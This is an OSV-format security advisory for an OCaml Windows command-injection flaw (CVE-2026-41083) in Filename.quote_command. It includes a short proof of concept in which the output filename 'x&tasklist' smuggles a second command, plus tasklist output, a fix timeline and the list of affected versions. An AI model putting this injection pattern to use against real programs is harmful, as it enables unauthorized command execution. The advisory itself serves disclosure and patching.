{"id":"OSEC-2026-05","summary":"Windows command execution via filename quotes.","details":"The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `&` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.\n\n## Exploit\n\n```bash\n$ opam exec -- ocaml\nOCaml version 4.14.2\nEnter #help;; for help.\n\n# let outfile = \"x&tasklist\" in\n  let cmd = Filename.quote_command \"netsh.exe\" ~stdout:outfile [\"help\"] in\n  ignore (Sys.command cmd)\n  ;;\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0        168 K\nSecure System                  236 Services                   0    191,468 K\nRegistry                       276 Services                   0      3,428 K\nsmss.exe                       608 Services                   0      1,676 K\ncsrss.exe                      984 Services                   0      5,928 K\n```\n\n## Timeline\n\n- 2026-06-18 release of this security advisory\n- 2026-06-15 release of OCaml 4.14.4\n- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853\n- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org","aliases":["CVE-2026-41083"],"modified":"2026-09-10T11:00:02.947158473Z","published":"2026-06-18T13:45:00Z","database_specific":{"human_link":"https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-05.md","cwe":["CWE-78"],"osv":"https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-05.json"},"references":[{"type":"FIX","url":"https://github.com/ocaml/ocaml/pull/14853"}],"affected":[{"package":{"name":"ocaml","ecosystem":"opam","purl":"pkg:opam/ocaml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.14.4"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5"},{"fixed":"5.5.0"}]},{"type":"GIT","repo":"https://github.com/ocaml/ocaml","events":[{"introduced":"0"},{"fixed":"ce6d0f7b67145debec57e296dcc49d8619259198"}]},{"type":"GIT","repo":"https://github.com/ocaml/ocaml","events":[{"introduced":"0"},{"fixed":"39d3f110eab62ab9f3013bb5f084af2dc3e3bb08"}]},{"type":"GIT","repo":"https://github.com/ocaml/ocaml","events":[{"introduced":"0"},{"fixed":"d5c65dc0034fbd75f10c6b54028e8b2740a7b189"}]}],"versions":["3.07","3.07+1","3.07+2","3.08.0","3.08.1","3.08.2","3.08.3","3.08.4","3.09.0","3.09.1","3.09.2","3.09.3","3.10.0","3.10.1","3.10.2","3.11.0","3.11.1","3.11.2","3.12.0","3.12.1","4.00.0","4.00.1","4.01.0","4.02.0","4.02.1","4.02.2","4.02.3","4.02.4","4.03.0","4.03.1","4.04.0","4.04.1","4.04.2","4.04.3","4.05.0","4.05.1","4.06.0","4.06.1","4.06.2","4.07.0","4.07.1","4.07.2","4.08.0","4.08.1","4.08.2","4.09.0","4.09.1","4.09.2","4.10.0","4.10.1","4.10.2","4.10.3","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.12.1","4.12.2","4.13.0","4.13.1","4.13.2","4.14.0","4.14.1","4.14.2","4.14.3","5.0.0","5.0.1","5.1.0","5.1.1","5.1.2","5.2.0","5.2.1","5.2.2","5.3.0","5.3.1","5.4.0","5.4.1","5.4.2","flambda_fork_point","5.5.0-beta1","5.5.0-alpha3","5.5.0-alpha2","5.5.0-alpha1","4.14.2-rc1","4.14.1-rc1","4.14.0-rc2","4.14.0-rc1","4.14.0-beta1","4.14.0-alpha2","4.14.0-alpha1"],"ecosystem_specific":{"opam_constraint":"ocaml {\u003c \"4.14.4\" | \u003e= \"5\" & \u003c \"5.5.0\"}"},"database_specific":{"source":"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-05.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"}],"credits":[{"name":"Andrew Nesbitt","type":"REPORTER"},{"name":"David Allsopp","type":"REMEDIATION_DEVELOPER"},{"name":"Florian Angeletti","type":"REMEDIATION_REVIEWER"},{"name":"Hannes Mehnert","type":"COORDINATOR"}]}